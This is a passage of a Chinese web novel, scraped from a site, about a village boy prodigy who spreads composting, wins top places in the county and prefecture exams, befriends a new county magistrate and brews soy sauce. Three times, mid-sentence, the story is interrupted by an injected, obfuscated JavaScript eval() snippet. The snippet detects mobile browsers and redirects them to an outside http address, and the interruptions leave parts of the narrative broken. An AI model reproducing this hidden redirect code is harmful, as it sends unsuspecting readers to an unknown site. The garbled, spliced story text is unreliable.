赵丰年点点头,赵来富是个有智慧的人,一时间心态转不过也是有的,就像赵来贺说的,过段时间就没事了。 就在大家都在如火如荼的忙着堆肥的时候。 赵丰年忽然想起了自己去年晒的酱油。 “怎么这会儿想起来了,还说呢,论照料这些活儿来,咱宝儿可比不上你娘,你前头病了,我见那都长绿毛了,就都给扔了,可别告诉你爹,他向来舍不得一点粮食的,回头就该心疼了。” 赵丰年一脸无奈,”娘,我就是要它长绿毛呢,不过这回就算了,咱们再做一次,娘还记得是哪一框长的绿毛吗?咱门再试试。“ “这,哪有人要吃绿毛豆子的。”巧娘有些怀疑,但是出于对儿子的信心与支持,还是让她麻利地去地窖里搬了一袋豆子。 就在赵丰年实验着做酱油的时候,时间来到了九月份。 九月中旬,各村最后追了一遍肥,临近收获,大家脸上没有不挂着笑的。 “前头开的花就多呢,豆荚都挂满了,我家地里可没几个瘪豆荚的。” “我从豆禾就看出来了,多壮的豆禾啊!” 刚推行堆肥的时候,虽说听说这东西能增产,但是也并非所有人都相信,不少人都将信将疑,直到豆苗发了芽几个月后,第一批肥下了地,那翠绿挺直的苗子一看就知道秧子长得好。 那些不肯做堆肥的人家就慌了,好在县城有指令,每家每户必须堆肥,等他们急急忙将家里不多的堆肥用起来,又继续扩大堆肥的时候,已经是晚了旁人一大步,导致后面虽豆荚长了起来,却也远不如其他人。 且不说那些人如何的捶胸顿足,县令大人知道了这事,当即也是火冒三丈,勒令他们接下来必须好好伺候庄稼,不得有误。 村民只道县令大人心系庄稼,纷纷夸赞不已。 巧娘跟村里人唠完磕,饭桌上便提了这事。 “听说还有那眼红得要去害邻居家的地呢,好在及时发现了,周家村有家就被害了半亩地,天杀的,好好地豆子,豆荚都长了,眼看着就要鼓起来了,偏偏全被拔了采倒了,那家是寡妇带着公婆,就两个小儿,碰到这事,一点办法都没有,听说哭得跟什么似的,真是作孽啊!” “周头那边这事多着,我也听说了了一耳朵,后来人抓住了,只是那家也穷得听不着个响,怕是赔不了什么。” 赵丰年听完,问道,“报官了吗?” 巧娘怜爱地看着儿子,“傻宝儿,都是庄稼汉,地里庄稼的事,哪里是拿到衙门里去说的。” 赵来贺也解释,“咱们县太爷虽说是个好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赵大伯家都是上田,跟普通人家的地还是有区别的,众人这样想着,等村里都统计下来,除了几家偷懒没有好好施肥的亩产一石半,其他家基本都有一石八十斗左右。 一瞬间,除了那几家懒怠的懊悔不已,其他人都跟过年似的,见着人问侯的话都变成了“你家今年亩产多少石”。 要知道,在堆肥之前大豆一亩地就一石多一点,也就是一百到一百二十斤左右,这回就连下田都有一百五十斤了,怎么叫人不振奋。 而赵丰年“神童”的名号再次响了起来。 随着临县下面的村子陆陆续续秋收完,在县衙早就等不及的县太爷派人拿回记录,也是笑的合不拢嘴。 纳粮的时候,县太爷再次出现说了几句话,便神清气爽地离开了。 “听说,张大人的帖子早就写好了,就等着这次纳秋收后递上去呢,如今,怕是府城早就收到了,张大人,要升官了!” 26. 第 26 章 “我们这回啊,还是为着买鸡来的,老四,说实话,这些日子村里风言风语的,都说你家鸡遭了瘟,我们做兄嫂的,哪里能看着你们这样,这不是,就又来一回了。” 赵丰年昨夜刚跟赵来贺、巧娘分析过,今天人就上门了。 赵来贺此时心中百味交集,巧娘就很直接了,一双眼盯着二房夫妻快要冒出火来。 “二哥二嫂就不担心我们这鸡病着,回头吃出了毛病?” 王小红摆手,“嗨,什么病不病的,我们也是相信你们,听说你们前头准备卖给镇上许家食肆的砸手上了,都是一家人,你二哥又是在县城酒楼里做活的,还能让你们真过不好这个年,这不,我们都要了!” 赵来贺看了眼赵来喜,见他没什么反应,顿时失望不已。 双方闹得个不欢而散。 大年三十去老宅送菜孝敬老人的时候,两家人碰面,更是说都没一句,就是再迟钝的人都看出了端倪来。 赵老头也是对老二气愤不已,奈何手心手背都是肉,大过年的,终究是没说什么。 大人们还在别苗头,赵青青偷偷将赵丰年拉到了一边。 “宝儿,我爹娘……”赵青青欲言又止,“总之,你跟婶娘四叔都说说,最近仔细些鸡!” 赵青青说完就跑了,也不知道她亲口说出这番话费了多大的勇气。 赵丰年叹了口气。 赵四家的鸡没问题,县衙门里都买了赵四家的鸡过年呢。 初一去拜年的时候,村里的风向已经变了。 巧娘再次听到了大家夸她会养鸡,只不过如今却是没了以往的开心了,经此一事,她也看透了,除了自己跟家人,旁人再多的好话都只是面上好看,她也没那么在意了。 不过再多其他的,他们家也再顾不上了,因为很快就到了县试了。 赵家村的人知道赵丰年这次考童生的人不多,赵大伯家是头一个知道的,毕竟赵有志也在顾家私塾进学。 得知赵丰年这次要下场,赵有志气的摔了一个他二叔送的笔洗,险些挨了赵来富一顿竹笋炒肉,好在及时被他爷发现拦了下来。 赵来富气得扔掉竹竿,让媳妇挑捡了几样糕点,就要往赵家去。 赵有志本来还想撒泼,却被她奶眼急手快拉住了。 眼瞧赵来富出了家门,赵有志终于忍不住哭嚎了起来。 “那是我姥爷给我买的!凭什么要给赵丰年那个病秧子!他在私塾祸害人还不够,到家里还要抢我的东西!” 且不说赵大伯家如何人仰马翻地哄孙子,这头赵来富已经到了赵家坐了下来。 刚开始他见着赵丰年父子还有些不好意思,等聊了两句,就放开了说起考试需要留意的地方。 赵来贺巧娘如饥似渴地听着,恨不得长两个脑子。 赵大伯说的这些,赵丰年在私塾已经听两位夫子说过,但不妨碍他听得认真,以及对赵大伯的感谢。 他想,这就是他爹说的,赵大伯迟早会从牛角尖里走出来,如今看来,他确实是走出来了。 赵来富提着赵家给的一篮子回礼鸡蛋,刚离开,这头赵来元就提着一吊猪肉来了。 “前头是富哥?自打上回,我可有些日子没瞧见他了,还是过年那会儿碰过一次头。” “你们倒是一前一后来了,这肉你就别忙了,带回去给我大生叔下酒,彩云不是又怀了,正是要补身体的时候。” 赵来元就笑了,“你可别忙着拒绝,原也不是给你的,这不是给我宝儿侄子补身体考试么,你们家是鸡多,可猪没我家养的多,年前刚杀的,我爹说了,给宝儿好好补补,回头考个童生回来,也给咱们村再添添喜气!” 赵来贺这下没拒绝了,只是又让巧娘装了一篮子鸡蛋。 “咱门都别推辞,你也说了,我们家就这东西多,等下个月,里头的鸡雏大了,你只管来抓,给你媳妇炖鸡汤喝。” 赵来元也笑,“那我可不跟你客气了,又那老母鸡,你跟嫂子说说,也给我家彩云留着。” 考试前一天,赵老头跟张氏也来看了孙子,一起来的还有两个妯娌,不管是平日里怎么样,这种时候,都是打断骨头连着筋的关系,总不好一点表示都没有,不然是要被村里人戳脊梁骨的。 这里面没有二房,众人也不约而同忽略了这件事。 王三娘送了一碗酸菜,并一条鱼,听说还是大胖亲自抓的,陈莲送了一个钱袋,上面绣着一丛青竹,针脚细密,看得出来费了心思做的。 考试当天,赵丰年一大早就被巧娘塞了几张饼子,又吃了一个鸡蛋才放过他。 怕中途出恭耽误时辰,汤汤水水的是不好吃的。 这也是赵大伯告诫的,巧娘牢记在了心里。 童生试连考五场,天色微微亮就要入场,在里面待上一天,巧娘再三检察了赵丰年的考篮,确定干粮都带全了,这才放下心来。 五场考试,一天一场,好在每日是可以归家的,只需要自备中午一顿即可。 一连五天,赵来贺每日天还没亮就送儿子进县城,赵家村的人也渐渐都知道了,赵四家的儿子要去考科举了。 五天时间一晃就过。 县试是县令组织人手阅卷, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868649|157618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 录取与否几乎全凭县令喜好,张县令听到赵丰年今年下场的消息的时候也是十分满意,只是等赵丰年真正考完了,他又开始焦虑了。 他期望在自己任期内出现一个神童,这个期望就落在他认定处处不凡的赵家子身上,因此,这边最后一场刚结束封卷,张县令就忙着让人将赵丰年的卷子找出来。 “只要不是太差,我就给他录上去,他如今才八岁,那帮老的怎么好意思跟个孩子比。” 张县令这里想着,待看完赵丰年的卷子,顿时就仰天大笑了起来。 见其他人看过来,张县令摸了一把胡须,笑道,“真是天助我也,你们也来瞧瞧赵丰年这份考卷,他不得案首谁能得案首?” 其他人围过去看过,纷纷笑着祝贺张县令。 “难得他小小年纪,不仅通读四书五经,一手字也初见风骨。” “他能写出这样的答卷,想必府试定然也能榜上有名,本县出了个八岁的县案首,这事也要报到府城才是。” 这正是张县令想要的,“是极是极。” 本来县试过了并不会在赵家村掀起什么风浪,毕竟还要过了府试才行,前头又有了赵有志的例子,大家也不足为奇了。 只是张县令是铁了心要将“神童”的帽子牢牢扣在赵丰年头上,县试的榜刚写出来,立马就派人大张旗鼓去赵家村报信去了。 这下赵家村沸腾了。 “县案首啊!县太爷还亲自派人送信呢,旁人了没这待遇。” “啥是县案首?” “就是头名,一起考的人里就他最厉害!” “那可了不得。” “谁说不是,里面一起考的人最大的年纪还有三十好几的呢,愣是考不过一个八岁的孩子。” 赵家接到报喜的差人,也高兴得跟什么似的,一边忙着招呼人喝水,一边又忙着找红纸包铜钱。 送走差人后,村里人都来道喜,到了晚上,赵来贺巧娘只觉得脸都要笑僵了。 只是县试还只是个开始,等四月府试过了,那才能算是过了童生试,一家人依旧还要备考的。 是以,今年农忙,赵家照样得雇人帮忙,夫妻俩只围着儿子打转,就怕他身体吃不消。 府试最后一场要连续考两天,赵来贺巧娘担心不已,等终于考完,不光是赵来贺巧娘夫妻俩,就连赵丰年也松了口气。 童生试考的内容偏向于考记忆力,对赵丰年并没压力,他感到压力大的是巧娘每隔两天就要给他炖鸡汤,就是再爱喝,连喝了四五个月都受不了了,如今考试结束,他只觉得头一回那么渴望萝卜青菜。 27. 第 27 章 等回到家,见到桌上一如既往的鸡汤,赵丰年顿时有些绝望。 看着巧娘期待的眼神,赵丰年努力压下反胃的感觉。 “娘,上回大伯娘送来的酸菜还有吗?” “有的,怎么想要吃酸菜了?” “忽然馋那一口了。” 巧娘忙去找酸菜,赵丰年替赵来贺也盛了一碗汤,“爹,你也吃,你跟娘这些日子都辛苦了,都要补补。” “嗨,你爹壮得跟牛一样,还用补啥!”话虽如此,赵来贺还是美滋滋接过了汤,看着儿子继续盛另外一碗,满眼的欣慰。 这时候巧娘也端着酸菜出来了,见儿子埋头扒酸菜拌饭,便笑了,“你喜欢这个,我回头跟你大伯娘学学怎么做,她腌的酸菜比旁人腌的味道好。” 府城这边,陈知府正组织人手阅卷,这些考卷需在五六日之内阅完排序,然后按比例录取上榜。 上个月陈知府就收到了来自临县的公文,不仅抄录了二月份临县县试的榜单,张县令更是很有心机地将前三名学子的考卷都封存好送了过来,陈知府一看那几张答卷,顿时就乐了。 “这个张谦,是怕我告他一个徇私呢。” 既然知道了张县令看中的人确有实力,陈知府也放心了,因此,这次府试,他同样一开始就让人将赵丰年的答卷找了出来。 府试还不用糊名,是以,赵丰年的答卷很快就被呈上了陈知府的书案。 于同知见陈知府连连点头,一脸赞赏,就知道张县令的打算是稳当了。 果然,不一会儿就听陈知府说道—— “此考卷通篇无一错字漏字,理解释意贴合准确,试贴诗也颇有意境妙趣,若无更好的,此子可为上等。” 底下人纷纷应是。 五月初的时候,赵家村再次响起了鞭炮声。 大家奔走相告。 赵四家的儿子,又得了“府案首”,如今是童生了,还是大夏朝开国后第一个八岁的童生! 至于虚岁九岁,这个时候自然是往小的说。 这样的大喜事,赵家肯定是要摆酒的。 赵来贺跟乡亲们说好农忙后请大家伙来家里吃酒,便赶着驴子上县城采买了。 今年照样大丰收,去年秋收没有来得及堆肥的人家,今年比谁都上心,于是,夏收居然翻了一番,赵家如今是八亩旱田,两亩水田,在赵家村算是大户了,于是这酒也整整齐齐摆了两天。 宴席上,赵家几房都来了,就连王小红都带着三个孩子出现了。 自从上回赵青青提醒赵丰年后,赵丰年就没再见过她了,这回见面,却发现她红了一双眼,像是哭过。 “要不要尝尝这个?” 赵青青抬头,先看到了赵丰年,这才顺着话看到了他手上捧着的碟子。 那碟子整整齐齐码了一碟做成花朵形状的点心,碟子周围还有一圈红色,看起来格外喜庆。 “宝儿弟弟,还没恭喜你考上了案首呢。”赵青青挤出了个笑。 赵丰年索性领着她去了鸡鹏。 这些日子,巧娘又孵化了一批鸡苗,眼下个个毛茸茸,都是嫩黄色,要多治愈就有多治愈。 果然,没过多久,赵青青脸上就露出了笑容,赵翠翠也玩得不亦乐乎。 “我爹被县城辞退了。”赵青青捧着一只唧唧叫的鸡崽,忽然说道。 赵丰年还真不知道这事,年前查到是赵来喜夫妻散布的谣言,赵来贺跟赵来喜兄弟俩聊了一场,闹得很不愉快,自打那后,他们两家算是彻底撕开了脸面。 赵青青上回提醒过他她爹起了害他们家鸡的念头,赵丰年也让赵来贺巧娘做好了防备,却并没有告发他,原因无他,就是考虑到他赵来喜还有一家子要养,更是不忍赵来贺更伤心难过。 谁知道,他们没去告发他,他自个儿倒是先被辞退了。 “我知道跟四叔没关系,宝儿你不是那种人,是我爹自己做了坏事,只是我想着,如果我也是男的就好了,这样我就带着翠翠离开这里,我们自个儿去县城做工,也省得天天在家里被娘骂赔钱货,宝儿,你那么聪明,能给我想个赚钱的法子吗?” 赵丰年却沉默了。 “没事,我就是问问,我能做的活本来就没有多少,等我再长大一点,那时候我力气也比现在大,就能找到活做了。” 赵丰年想了想,“如果你愿意,可以每天来我家,帮我娘喂一个时辰的鸡。” 赵青青笑了,“这有什么的,四婶要一个人养这么多鸡,我就搭把手的事,你就放心吧。” 晚上,赵丰年就跟巧娘说了这事。 巧娘当即就答应了。 “王小红也不怕作孽,两个多好的闺女儿,她也舍得糟践,你放心,娘保准不让她们饿着肚子,还给她们工钱!娘有钱呢!” 赵丰年却摇了摇头,“娘,我的意思是,就先不要给钱了。” 巧娘当即就露出了“我竟不知道你是这样守财奴”的表情,赵来贺也扭头看了儿子一眼。 赵丰年无奈,“我的意思是,咱们先给青青翠翠存着,等以后她们自己能做主了,再交给她们,否则,您觉得我二伯娘要知道了她们有工钱,这钱能落到她们手上吗?” “那肯定不能。”巧娘可太知道她这位妯娌了。 “所以,我们只说请她们帮忙,包她们一顿吃喝。” 巧娘点点头,“要不都说你脑袋瓜子好使呢,这个好,左右这吃的还能进两个孩子的肚子,谁也抢不走,不过,宝儿你得叫姐姐!” 赵丰年点头。 下次记得再说吧。 第二天,赵青青果然带着赵翠翠一大早就来到了赵丰年家,这会儿刚过了普通人家的饭点,可见赵青青是挑着时辰来的。 巧娘看着就心疼,不由分说,就给姐妹俩塞了两个肉包子。 赵青青不知所措,赵翠翠却抵挡不住包子的香味,下意识就咬了上去。 “真好吃,姐姐,可好吃了。”赵翠翠惊喜地拉着赵青青的衣服冲她道。 “青青你也吃,要干活不吃饱了怎么能行呢!别跟四婶客气!” 赵青青咽了口口水,“谢谢四婶。”又拉了拉妹妹。 赵翠翠连忙跟上,“谢谢四婶!” 巧娘看见她两个这么乖巧,只觉得更心疼了,“慢慢吃,不着急, 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“呸,她柳巧娘面上装个菩萨似的,心都黑透了,帮她干大半天活就给一顿饭吃!” 可那一顿饭有菜又有肉,白米饭都让她们敞开吃,赵青青心里回味着。 王小红骂了几句又问,“那你瞧见她怎么孵鸡苗了吗?记下来了没有?” 这才是王小红得知赵丰年家要她两个女儿去帮忙干活并没有反对的主要缘故,她眼红赵四家孵小鸡的手艺,也不止是她,村里谁不羡慕,只是柳巧娘瞒得紧。 如今赵来喜丢了活计,儿子读书的花费都没有着落,见天的在家里闹,王小红便起了心思,前几日去吃席面没想到机会,刚巧赵丰年让她一双女儿去鸡鹏帮忙,王小红就有了主意。 赵青青将赵丰年请她们去帮忙的事跟王小红说了之后,就被耳提面命地要求她记住孵小鸡方法,她内心里十分抗拒,面上却先应了下来。 此时,面对她娘的逼问,赵青青摇头,“我们只帮忙喂鸡打扫,孵小鸡的地方不在一块儿,四婶只让我们在鸡鹏里干活。” 就算知道了,她也不会告诉她娘的,宝儿一家对自己跟妹妹这么好,她不能这样做。 赵青青低着头不言语。 王小红却再次骂开了。 “就知道她柳巧娘是个奸的,连个孩子都要防备,我呸!后头留点心,她不让你去,你就不知道找机会偷偷去看嘛,尽蠢的。” 赵青青没回这话。 之后,赵青青依旧每日带着赵翠翠一起去赵丰年家帮忙,吃过晌午饭回来。 而临县今年夏粮产量全体翻一翻,临江府其他县年前也纷纷学起了堆肥,这回产量虽比不上临县,却也都有了增产,县衙门里,最近上下都喜气洋洋。 张县令去年的考评是优,为了顺利升一级,更是动用了以前的关系,不出意外,在秋收前应该就能收到派令。 八月的时候,赵丰年听说张县令升到了府城做了通判。 从正七品到正六品,连跳了两级,这是高升了。 28. 第 28 章 赵丰年还挺喜欢张县令的。 临县其他人也差不多如此,毕竟,跟以前一上任就搜刮民脂民膏的县令相比,会推行堆肥、推广新农具的张县令可强太多了。 “就是不知道新来的县太爷是个什么样的。” 这也是最近顾家私塾常被提起的话题,读书人,总是格外关注官员的。 顾老秀才却找上了赵丰年,劝他入县学。 “多谢夫子。” 赵丰年深作一揖。 顾家有两位秀才,而他只是个童生,倘若他留下,顾家私塾必定名声更上一层,劝他去县学,无非是不想耽误他罢了。 赵丰年记下顾家父子的好意,回到家便跟赵来贺巧娘说了这事。 赵来贺巧娘自是高兴。 县学对县、府两试的前三名入学是不收束修的,每月还能发上一斗米,五百文铜钱。 听闻赵四家的儿子去县城里读书,不仅不花费家里钱,还能往家里又拿米又拿钱,赵家村里一众有儿子的人家当即手就痒了。 各家挨了一顿打的孩子再次捡起了对赵丰年的恨意。 顾家村顾家私塾空前绝后的热闹起来,各村都想把儿子往顾家私塾送,指望下一个“神童”就是自家的。 这其中甚至还有隔壁县跟县城的人。 顾小秀才哭笑不得地应付完热情的村民及县城的员外老爷们,对老神在在的父亲拱手。 “父亲当日所言,如今初见端倪了。” 顾老秀才笑着喝了口茶水,“你且看着,那孩子,路还远着呢。” 挑了一个好日子,赵来贺跟巧娘一起赶着驴车送赵丰年去县学报道。 “今天天不错,不冷也不热的。”话虽如此,巧娘还是给赵丰年带上了斗笠,用她的话来说,“读书人就是要讲究些脸面,不然那戏文里说什么白面书生呢。” 赵丰年告诉他娘那“白面书生”也不是什么夸人的话,两人对此展开了讨论。 “豁,还真有黑脸的书生!” 刚说到一半,巧娘忽然惊呼起来。 赵丰年顺着巧娘的目光看过去,果然在路边见到一个黑面书生。 至于如何知道他是一个书生,其实很好认,那人头戴纶巾,身着长袍。 只是也不知道那老兄经历了什么,身上的袍子破破烂烂,只依稀看得出来此前应是件青色的袍子。 “宝儿啊,这读书也不尽好,你看他,多可怜,连一身好衣裳都买不起。”巧娘不免担忧了起来。 赵丰年正要说话,眼神却看见了那人的靴子,忽然就笑了。 “爹,娘,我们送送他吧,他独自一人走在官道上,又如此狼狈,说不定是进城投亲。” 此时,那人听见几人说话也看了过来。 正脸一瞧就更黑了,赵丰年忍住笑意,朝他拱手。 “足下可是要进城?我们也正要去县城,若不嫌弃,不如一起做个伴?” 只见那人刚才还茫然涣散的眼睛一瞬间就亮了起来,活像家里的小黄狗。 赵丰年心想,就是颜色不对。 “进进进!”他刚说完,许是看见了车上的垫子,又不好意思地拍了拍身上的袍子,“我多日未曾沐浴更衣,怕是会弄脏你们的车。” “嗨,这有啥,农家拉货的,不碍事,只管上来!”儿子想做的事,赵来贺巧娘就绝无异议,而且这也是积善行德的好事。 那人一双眼更亮了,赵丰年觉得若不是场合不对,他也许想哭一场。 路上一聊,才知道黑脸书生姓顾,叫顾子升,路上同书童家丁走散了,这才一个人这般形容狼狈。 赵来贺巧娘听得十分同情,巧娘当即送背篓里掏出了水袋跟包子。 “家里做的,不值几个钱,还是热的,离县城还有些路程,你先垫垫肚子。” 顾书生忙接了过来,咕咚咕咚喝了水,又连着吃了三个肉包子,这才停了下来,看的巧娘一脸慈爱。 “还有呢,只管吃,我们是去县学,登记完就回村里了,不担心吃食。” 顾子升推说自己饱了,这才问起了赵丰年一家来。 赵丰年心想,不怪这位这副模样,上了车才想起来打听消息,被别人卖了都不知道。 于是赵来贺巧娘便将儿子如何如何读书,如何成为了案首,今日又如何来县城去县学,都跟新认识的小顾说了一遍。 赵来贺巧娘本来觉得投缘,又想要炫耀儿子,谁知道对方很配合,一会儿惊讶,一会儿赞叹,以至聊得尽兴,他们甚至将赵丰年发明了新农具跟堆肥之法都说了出去。 “……不是我自夸,我们家养的鸡就是比别家的壮实,小顾你回头家里要是想要抱鸡养,就来婶子家,婶子给你挑最活泼的!” 见话题都扯到母鸡抱窝了,赵丰年开口了。 “爹,娘,听说县衙隔壁那家烧饼味道极好,我们去县学会经过吗?” 赵来贺对县城熟悉,“这没啥,咱们从前头大道赶车过去就行。” 到了卖饼的地儿,顾子丰便提出了告辞,巧娘给他硬塞了两个烧饼才放他走,直把孩子感动得险些又要落泪了。 赵丰年看了眼他的背影,并没说什么。 这厢去县学报了名,领了这个月的一斗米跟五百文铜钱,一家人又在县城买了些生活用品,这才回村。 自明日起,赵丰年就要每日前往县城读书了。 赵丰年没想到,第二天就在县学再次看见了昨日的黑脸书生,只不过这此他穿着一声绿色的官袍。 “这是顾大人,咱们临县新任的县令大人,顾大人爱民如子,尤为关心大家课业,昨日才到,今日就来看大家了。” 授课的李举人跟学子们介绍。 学子们自当是行礼,赵丰年也不例外,只是当他抬头的时候,就见脸黑的顾大人冲自己挤眉弄眼。 李举人还想让新县令为学子们讲几句,就见新县令继续巡视其他地方了。 县学会包晌午一顿午食,不过这里大多数的学子家就在县城,中午并不在县学用,赵丰年是老老实实交了伙食费,一个月三十文,一荤一素,已经算很不错了。 许是格外有缘,到了饭堂,赵丰年再次看到了新任的顾大人,身边还跟着县 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14890445|157618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学的几位秀才举人。 赵丰年没打算过去,自顾自吃了起来,等再抬头的时候,却见到刚才还被众星捧月的顾大人坐在了自己面前。 “怎么样,看到我是不是很惊讶?” 赵丰年抬眼看了他一眼,吃了一口白米饭。 顾子升当即垮了一张脸,“你是不是早就知道了?也是,他们都说你是神童呢,你什么时候发现的?” “看见你的第二眼?” 顾子升疑惑。“一般这个时候不应该是说第一眼吗?” 赵丰年微笑,“也许,是因为一般的县令不会乔装成乞丐来上任吧。” 顾子升顿时哑口无言。 “其实,我是真的跟家丁仆从走散了,并未欺骗你们。” “嗯,看得出来。” “所以,你真的是那个想出了连枷跟堆肥之法的神童?我昨天还以为你爹娘夸大其辞呢,张大人对你十分推崇,跟我说了很多你的事迹。” 赵丰年放下筷子,“所以,顾大人特意过来夸我的?” 顾子升一愣,思索一番,这才说明来意,“我老师说,我来到临县第一件要紧事就是秋收,但是昨日张大人跟我说,自从有了堆肥之法,临县的粮税都是翻一翻的,我只用盯着就成,这个堆肥之法是什么?你怎么想出来的?过几日我要去下面的村里巡视,到时候你可以教我吗?” 赵丰年没想到这位顾大人是这个路子。 他想了解的事,衙门里自有一众想在新县令面前露脸表现的人,如何能轮得上自己,他不过是个八岁的孩子罢了,嗯,虚岁也只有九岁。 过了几日,新任的顾县令果然巡视了乡里。 “瞧着挺俊一小伙子,就是那脸黢黑黢黑的。” “可不是,那天他冲我一笑,嘿,那口牙倒是挺白,吓得我一哆嗦!” “还问我堆肥呢,瞧上去不像是能干农活的,啥地方能晒成这样?” 赵丰年听到赵家村的人讨论新县令,只笑了笑就回家了。 只是回到家了,看到那个黢黑一张脸坐着冲自己笑的人,他就笑不出来了。 不过,果然是一口大白牙。 “宝儿,瞧谁来了!”巧娘看到儿子,十分冲他招呼。 “宝兄弟,冒昧登门,叨扰了。” 赵丰年打了个哆嗦。 “……别,叫我赵丰年就成。” 还宝兄弟,他可不姓贾。 “你爹呢?又去地里了?” “没呢,去池子那边了。” 今年池子里的甲鱼族群扩张显著,时不时就能在池塘边的地上看到几只遛弯的甲鱼,继一次路过池塘被甲鱼险些咬了脚趾,又在鸡鹏外面踩到一只甲鱼后,一家人终于意识到,那个池塘已经困不住甲鱼家族了。 鱼大了,也是时候拉出去买了。 去年忙着教大家堆肥没顾上,今年无论如何都要把这件事办了。 “你们先聊,小顾今天就在家里吃饭,我去逮只鸡,晚上炖鸡汤!” 赵丰年看了眼乐呵呵的“小顾”,显然,他还没告诉他娘他的真实身份。 29. 第 29 章 巧娘走后,顾子升这才解释。 “我这一路上巡视过来,才知道你们家确实是做了这么多事,就想着上你们家来看看,你上回不告而别,我只能自己找来了。” 合着还是他错了? 赵丰年呵呵。 饭桌上,巧娘赵来贺一个劲地给“小顾”盛鸡汤,盛肉。 赵丰年看都不看一眼,舀了一大勺酸菜,专心拌饭。 这一幕险些把顾子升感动得热泪盈眶。 赵丰年嘴角抽搐,不用想就知道他在脑补什么。 “叔,婶,你们不用特意给我吃肉,自己吃酸菜,你们也吃,我吃不了这么多的。” 巧娘看了眼儿子,立马明白了,“哎呀,小顾你误会了,我家宝儿啊,就喜欢吃酸菜,不喜欢喝鸡汤的!” 流浪过一段时间的顾子升也不是什么都不知道的,农户家一年到头碗里都没什么油水,怎么可能会只喜欢酸菜,不喜欢吃肉喝汤的。 当即又是感动又是惭愧。 赵丰年瞟了他一眼。 只见那双酷似家里小黄的眼睛闪烁着泪光。 得,误会更深了。 顾子升跟赵来贺聊了很久的堆肥,最后走的时候还意犹未尽,提着巧娘硬塞的两只鸡,被找过来的下属送上了马车。 巧娘这时候才回过神来。 “这小顾……” 赵丰年看着他娘。 “还是个有钱公子呢!” 赵丰年:“……” 天太黑了,看不大清衙役服也是有的。 准备卖甲鱼的时候,赵丰年想起了酱油。 此前他忙着科举考试,都交给了他娘,已经很久没过问了。 赵丰年跟他爹说起了这事,赵来贺一拍巴掌,“你不说我差点忘记了,宝儿啊,那东西怕是坏了,都长毛了啊,还是绿毛!我昨日个还想跟你娘说得扔了呢。” 若不是相信儿子,加上又赚了点小钱,他们可舍不得拿好好的豆子给赵丰年浪费,那什么酱油的做起来可费事,又是泡豆子,又是蒸,晾干了还要加细面跟面曲子,细面可是要三十五文钱一斤,他们家虽说如今也算富裕了,却还没到顿顿吃细粮的程度,也是大夫说孩子要吃点软面食买来剩下的,结果,失败了两次,最后一点全都在那框绿毛豆子里了,他媳妇还把那绿毛豆子又加水又加盐的,见天地放墙角晒。 赵丰年无奈笑了,之前他娘还跟他说豆子长了绿毛不要让他爹知道,省得他心疼粮食,如今那几缸还在屋脚晒着,谁知道他爹竟早就知道了。 巧娘一直记得儿子的话,天天搅豆酱,终于黄天不负苦心人,小半年过去了,得了三大缸酱,只是—— “这酱闻起来倒是香的,只是瞧上去不大好看,真要带去府城卖?怕是不好卖的。” 为了把池子里的鳖卖出去,赵来贺决定去一趟府城,他以前偶然猎到了好货也会去府城卖个好价钱,如今为了“黄金肉”跑一趟,一点都不带慌的。 只是宝儿提议将酱油带一小坛去,问问酒楼里收不收,他就有点把握不准了。 毕竟这瓮里豆子经过三个月的的晒晾,好像已经没多少水了。 “爹,还要加水的,我让娘去准备了。” 说话间,柳巧娘就将水桶里晾凉的开水搬过来了,“六斤水呢,加了一斤盐,这东西太废盐了。” 这个时代的盐还是很贵的,跟布匹一样,那都是能当钱用的。 也是巧娘现在赚钱了,不然可舍不得这样放盐的。 将盐水都倒进瓮里,搅拌均匀,还要再拿干净的麻布过滤一遍渣才行。 赵来贺跟柳巧娘两个人一起行动,最后装满了一个大坛子,并八个小坛子。 晚上,酱油就上了桌。 为了试酱油,根据赵丰年给的菜谱,柳巧娘特意宰了只仔鸡。 将仔鸡剁成小块,烧锅,炼出鸡油,奢侈地放一小撮糖,将鸡块倒进去抄成焦糖色,再加一点米酒一起抄,米酒也炒干后,加入小半碗酱油,继续炒,炒出香味,加一瓢热水焖煮一刻钟,最后再加上一点盐。 鸡还在锅里就香得不行,事实上,就在将酱油倒进去翻炒的那一瞬间,香味就已经让人受不了了,实在是太香了! 本来巧娘听赵丰年读菜谱的时候,还咂舌这菜谱八成只有天上的神仙人人物才能吃得起,又是糖又是米酒的,这样奢侈的吃法,普通人家哪里敢吃,怕是一顿就把几个月的伙食费吃没了。 等一家人坐到桌上,才尝了一口,巧娘就知道了,这东西确实只有神仙才配吃的了,太好吃了! 这东西绝对不愁卖! 赵丰年来了这么久,虽然因为赵来贺能猎兔子没少吃肉,但是那些拿水煮一下,撒点盐的肉实在是不敢恭维,至于鸡汤,他现在最听不得的就是鸡汤。 今天这倒炒菜倒是让一家人都吃了个肚儿圆。 